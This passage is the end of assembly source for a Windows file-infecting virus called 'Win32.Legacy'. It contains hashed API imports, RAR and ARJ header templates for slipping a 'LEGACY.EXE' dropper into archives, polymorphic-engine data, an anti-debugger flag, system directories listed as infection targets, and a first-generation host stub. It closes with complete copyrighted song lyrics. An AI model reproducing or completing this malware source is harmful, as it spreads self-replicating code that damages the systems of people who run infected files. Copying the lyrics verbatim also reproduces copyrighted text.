@FreeLibrary dd 0AFDF191Fh @WriteFile dd 021777793h @GlobalAlloc dd 083A353C3h @GlobalFree dd 05CDF6B6Ah @GetFileSize dd 0EF7D811Bh @GetFileAttributesA dd 0C633D3DEh @ReadFile dd 054D8615Ah @GetCurrentProcess dd 003690E66h @GetPriorityClass dd 0A7D0D775h @SetPriorityClass dd 0C38969C7h db Billy_Bel @FindWindowA dd 085AB3323h @PostMessageA dd 086678A04h @MessageBoxA dd 0D8556CF7h db Billy_Bel @RegCreateKeyExA dd 02C822198h @RegSetValueExA dd 05B9EC9C6h db Billy_Bel ; --- RAR Header RARHeader label byte RARHeaderCRC dw 0000h RARType db 74h RARFlags dw 8000h RARHeadsize dw sRARHeaderSize RARCompressed dd 00000000h RAROriginal dd 00000000h RAROs db 00h RARCrc32 dd 00000000h RARFileTime dw archive_mark RARFileDate db 31h,24h RARNeedVer db 14h RARMethod db 30h RARFnameSize dw sRARNameSize RARAttrib dd 00000000h RARName db "LEGACY.EXE" sRARHeaderSize equ ($-offset RARHeader) sRARNameSize equ ($-offset RARName) ; --- ARJ Header ARJHeader label byte ARJSig db 60h,0EAh ARJHeadsiz dw 2Ah ARJHSmsize db 1Eh ARJVer db 07h ARJMin db 01h ARJHost db 00h ARJFlags db 10h ARJMethod db 00h ARJFiletype db 00h ARJReserved db "Z" ARJFileTime dw archive_mark ARJFileDate db 031h,024h ARJCompress dd 00000000h ARJOriginal dd 00000000h ARJCRC32 dd 00000000h ARJEntryName dw 0000h ARJAttribute dw 0000h ARJHostData dw 0000h sARJHeader equ ($-offset ARJHeader) ARJSecondSide label byte ARJFilename db "LEGACY.EXE",0 ARJComment db 00h sARJCRC32Size equ ($-offset ARJHSmsize) ARJHeaderCRC dd 00000000h ARJExtended dw 0000h sARJSecondSide equ ($-offset ARJSecondSide) sARJTotalSize equ ($-offset ARJSig) ArchiveBuffer db 50d dup (00h) OldBytes db pLIMIT dup (00h) NewBytes db pLIMIT dup (00h) K32_DLL db "KERNEL32.dll",0 K32_Size equ ($-offset K32_DLL) kernel dd 00000000h user32 dd 00000000h TmpModuleBase dd 00000000h TempGA_IT1 dd 00000000h imagebase equ ModBase TempGA_IT2 dd 00000000h infections dd 00000000h iobytes dd 02h dup (00h) NewSize dd 00000000h InfDropperSize dd 00000000h ArchiveSize dd 00000000h NumBytesRead dd 00000000h SearchHandle dd 00000000h FileHandle dd 00000000h RegHandle dd 00000000h GlobalAllocHandle dd 00000000h GlobalAllocHandle2 dd 00000000h GlobalAllocHandle3 dd 00000000h MapHandle dd 00000000h MapAddress dd 00000000h AddressTableVA dd 00000000h NameTableVA dd 00000000h OrdinalTableVA dd 00000000h lpThreadId dd 00000000h Disposition dd 00000000h WFD_HndInMem dd 00000000h Counter dw 0000h WFD_Handles_Count db 00h SoftICE db 00h ; --- MMXE data random_seed label byte rnd_seed1 dd 00000000h rnd_seed2 dd 00000000h rnd_seed3 dd 00000000h dd 00000000h ; Registers used (MMXE & PHIRE) @@reg_mask db 00h @@reg_key db 00h @@reg_counter db 00h @@reg_ptr2data db 00h @@reg_aux1 equ $-1 @@reg_delta db 00h @@reg_aux2 equ $-1 @@mmx_ptr2data db 00h @@mmx_key db 00h @@init_mmx? db 00h @@ptr_data2enc dd 00000000h @@ptr_buffer dd 00000000h @@size2enc dd 00000000h @@size2cryptd4 dd 00000000h @@tmp_call dd 00000000h @@p_tmp_call equ $-4 @@fix1 dd 00000000h @@fix2 dd 00000000h @@enc_key dd 00000000h @@l00paddress dd 00000000h @@size_address dd 00000000h @@ptrto2nd dd 00000000h @@flags dw 0000h @@recursion db 00h ; --- PHIRE data @@p_distance dd 00000000h @@p_buffer dd 00000000h ; --- More virus data @@Offsetz label byte _FindFirstFileA dd 00000000h _FindNextFileA dd 00000000h _FindClose dd 00000000h _CreateFileA dd 00000000h _DeleteFileA dd 00000000h _SetFilePointer dd 00000000h _SetFileAttributesA dd 00000000h _CloseHandle dd 00000000h _GetCurrentDirectoryA dd 00000000h _SetCurrentDirectoryA dd 00000000h _GetWindowsDirectoryA dd 00000000h _GetSystemDirectoryA dd 00000000h _CreateFileMappingA dd 00000000h _MapViewOfFile dd 00000000h _UnmapViewOfFile dd 00000000h _SetEndOfFile dd 00000000h _GetProcAddress dd 00000000h _LoadLibraryA dd 00000000h _GetSystemTime dd 00000000h _CreateThread dd 00000000h _WaitForSingleObject dd 00000000h _ExitThread dd 00000000h _GetTickCount dd 00000000h _FreeLibrary dd 00000000h _WriteFile dd 00000000h _GlobalAlloc dd 00000000h _GlobalFree dd 00000000h _GetFileSize dd 00000000h _GetFileAttributesA dd 00000000h _ReadFile dd 00000000h _GetCurrentProcess dd 00000000h _GetPriorityClass dd 00000000h _SetPriorityClass dd 00000000h @@OffsetzUSER32 label byte _FindWindowA dd 00000000h _PostMessageA dd 00000000h _MessageBoxA dd 00000000h @@OffsetzADVAPI32 label byte _RegCreateKeyExA dd 00000000h _RegSetValueExA dd 00000000h MAX_PATH equ 260 FILETIME STRUC FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? FILETIME ENDS WIN32_FIND_DATA label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db MAX_PATH dup (?) WFD_szAlternateFileName db 13 dup (?) db 03 dup (?) TMP_szFileName db MAX_PATH dup (?) directories label byte WindowsDir db 7Fh dup (00h) SystemDir db 7Fh dup (00h) OriginDir db 7Fh dup (00h) dirs2inf equ (($-directories)/7Fh) mirrormirror db dirs2inf SYSTEMTIME label byte ST_wYear dw ? ST_wMonth dw ? ST_wDayOfWeek dw ? ST_wDay dw ? ST_wHour dw ? ST_wMinute dw ? ST_wSecond dw ? ST_wMilliseconds dw ? align dword virus_end label byte ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| 1st generation host || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ; ; Nadie combate la libertad. A lo m s, combate la libertad de los dem s. La ; libertad ha existido siempre, pero unas veces como privilegio de algunos, ; otras veces como derecho de todos. (Karl Marx) fakehost: pop dword ptr fs:[0] pop eax popad popad push 00h ; Hiya Vecna! Cocaine rules! push offset szMessage ; Even its 1st gen host! ;) IF DEBUG pushs "Win32.Legacy.debug#Legacy [debug mode] v1.00" ELSE pushs "Win32.Legacy#Legacy v1.00" ENDIF push 00h call ShellAboutA push 00h call ExitProcess end legacy1 ; =========================================================================== ; || Bonus track || ; =========================================================================== ; ; As this virus is my favourite one, i will put here my favourite song :) ; It's a song from the last album of Blind Guardian (www.blind-guardian.com), ; based in the book The Silmarillion (J.R.R. Tolkien). The album (called ; "Nightfall in the Middle-Earth"), is the most complete (and probably the ; best one) of Blind Guardian. Even the mixers of the album are very famous ; in the metal world: Flemming Rasmussen (see other B.G. albums as "Imagina- ; tions from the other side", also Metallica's "...And Justice For All", etc) ; Piet Sielck (some songs of B.G. version's album "The forgotten tales", also ; vocalist/producer of his parallel project Iron Savior (albums "Iron Savior" ; and "Unification"), and produced also other bands as GammaRay, etc) and ; Charlie Bauerfeind. Well, here comes the song. ; ; - Mirror Mirror - ; ; Far, far beyond the island ; We dwelt the shades of twilight ; Through dread and weary days ; Through grief and endless pain ; ; It lies unknown ; The land of mine ; A hidden gate ; To save us from the shadow fall ; ; The lord of water spoke ; In the silence ; Words of wisdom ; I've seen the end of all ; Be aware, the storm gets closer ; ; chorus: ; Mirror Mirror on the wall : True hope lies beyond the coast ; You're a damned kind can't you see ; That the winds will change ; Mirror Mirror on the wall : True hope lies beyond the coast ; You're a damned kind can't you see ; That tomorrow bears insanity ; ; Gone's the wisdom ; Of a thousand years ; A world in fire and chains and fear ; Leads me to a place so far ; Deep down it lies my secret vision ; I better keep it safe ; ; Sall i leave my frinds alone ; Hidden in my twilight hall ; (I) know the world is lost in fire ; Sure there is no way to turn it ; Back to the old days ; Of bliss and cheerful laughter ; We're lost in barren lands ; Caught in the running flames ; Alone ; ; How shall we leave the lost road ; Time's getting short so follow me ; A leader's task so clearly ; To find a path out of the dark ; ; (chorus) ; ; Even though ; The storm calmed down ; The bitter end ; Is just a matter of time ; ; Shall we dare the dragon ; Mercyless he's poisoning our hearts ; Our hearts ; ; How... ; (chorus) ; ; --- ; Copyright (c) 1998 by Blind Guardian; "Nightfall in the Middle-Earth" album ;